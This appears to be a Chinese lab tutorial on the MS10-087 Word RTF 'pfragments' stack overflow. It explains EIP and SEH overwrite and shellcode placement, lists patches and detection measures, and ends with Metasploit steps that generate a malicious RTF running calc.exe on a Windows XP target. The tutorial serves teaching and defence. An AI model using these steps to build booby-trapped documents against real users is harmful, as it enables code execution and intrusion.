应用软件格式渗透 利用word去渗透(MS10-087)

用到的靶机为:WinXP

漏洞原理:

一、漏洞触发机制与核心组件

漏洞根源:RTF文件解析逻辑缺陷

触发组件:Microsoft Word的RTF****(Rich Text Format)解析引擎,具体涉及 mso.dll 模块中的

路径规范化函数(如 pfragments 相关函数)。

漏洞触发条件:当用户打开包含超长控制字属性字符串的RTF文件时,Word未对输入数据长度进行

验证,直接将数据复制到固定大小的栈缓冲区中,导致溢出。

关键控制字与数据构造

恶意RTF结构:攻击者在RTF文件中插入 {\*\pnfragments 等控制字,并设置超长的 属性字符串

(如字体名称或路径参数)。例如:{\rtf1\ansi{\*\pnfragments XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}}

溢出触发点: pnfragments 控制字对应的属性字符串长度超过栈缓冲区容量(通常为64-128字

节),引发栈溢出。

二、内存破坏原理与利用技术

栈缓冲区溢出过程

栈空间分配:在解析RTF文件时,函数 sub_XXXXX (位于 mso.dll )会在栈上分配固定大小的缓冲区(如 0x00123E98 至 0x0012FFFF )。当输入数据长度超过此范围时,溢出覆盖相邻内存区域。

关键寄存器覆盖:

返回地址覆盖:溢出数据覆盖栈中保存的 EIP (指令指针),指向攻击者预设的地址(如 JMP

ESP 指令地址)。

SEH****链劫持:若溢出未直接覆盖返回地址,可能通过覆盖 **结构化异常处理链(SEH)**中的异常处理函数指针,触发异常后跳转至Shellcode。

Shellcode****布局与执行

内存布局操控:攻击者通过插入NOP****雪橇( 0x90 指令)和跳转指令,确保溢出后的控制流准确跳

转到Shellcode区域。

载荷注入方式:

直接嵌入:将Shellcode编码为十六进制字符串插入RTF文件。

远程加载:通过 data: 协议或恶意URL动态加载Shellcode,例如:

html <iframe src="data:text/html;base64,XXXXXXXXXXXX"></iframe>

三、影响范围与历史危害

**1.**受影响版本

操作系统:Windows XP SP3、Windows Server 2003、Vista、7。

Office****版本:Office 2003 SP3、2007 SP2、2010、Mac版Office 2004-2011。

**2.**实际攻击案例

大规模挂马攻击:2010-2011年,MS10-087被集成至"黑页"攻击链,全球超过50%的挂马网站利用

此漏洞传播木马。

APT****攻击载体:高级持续性威胁(APT)组织利用该漏洞投递恶意文档,窃取政府及企业数据。

四、防御与修复措施

**1.**官方补丁分析

补丁编号:KB2423930(MS10-087)修复了 mso.dll 中的路径处理逻辑,增加输入长度校验并重

构栈缓冲区分配策略。

补丁验证方法:使用 Bindiff 对比补丁前后DLL文件,可发现关键函数(如

CanonicalizePathName )的指令修改。

**2.**临时缓解方案

禁用RTF解析:通过组策略禁用Word的RTF文件解析功能(设置路径:

HKCU\Software\Microsoft\Office\...\Word\Security )。

启用防护机制:强制启用DEP(Data Execution Prevention)和Office沙箱(Protected View)。

**3.**网络与终端防护

流量监控:检测HTTP/邮件流量中异常的 pnfragments 控制字或超长属性字符串。

行为分析:监控 winword.exe 进程的异常栈操作或Shellcode执行行为。

详细步骤:

1.执行msfconsole。


2.搜索下ms10-018的路径:search ms10-087。

3.使用这个模块:use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof

4.使用show options看一下要设置的东西,没有提示要设置什么,可以设置一下文件名。

5.这里我们可以使用set FILENAME www修改文件名。

6.在设置一个payload,前面一直在使用交互式的payload,下面我们换一个payload。

7.在使用show options查看payload需要设置什么

8.我们设置现在让他弹出一个计算器:set CMD calc.exe。

9.run命令运行一下,文件已经到所示目录下。

10.我们在目录下找到该文件,并且放到靶机上运行会直接打开计算器。

相关推荐
UCloud_TShare2 分钟前
从DeepSeek Elastic Compute到UCloud Agent Sandbox:构建安全、可控的Agent执行环境
安全
xbzb30 分钟前
Linux SELinux 安全加固与标签排错手册
linux·运维·安全
其实防守也摸鱼1 小时前
SQL注入实验笔记
android·运维·数据库·安全·oracle·自动化
jimmyleeee1 小时前
大模型安全之三十五:间接Prompt 注入测试全景指南
安全·prompt
小静AI工程实验室2 小时前
MD5 算法详解:哈希原理、标准向量、输入编码与安全边界
算法·安全·哈希算法·md5
用户4320579311292 小时前
Jev 初筛实测:准确率没变,漏报多了 25 条
安全
lupai2 小时前
SSL 证书落地应用与网站安全加固指南
网络协议·安全·ssl
傲世仙尊2 小时前
线程池收尾-回调单例与可重入线程安全
linux·安全
卓怡学长3 小时前
w213基于Spring Boot框架的Web安全学习系统的设计与实现
java·spring boot·spring·web安全·intellij-idea
Multipath7124 小时前
Ku保底,Ka提速— 双频卫星聚合,打造应急通信“不断线”保底链路
网络·5g·安全·智能路由器·实时音视频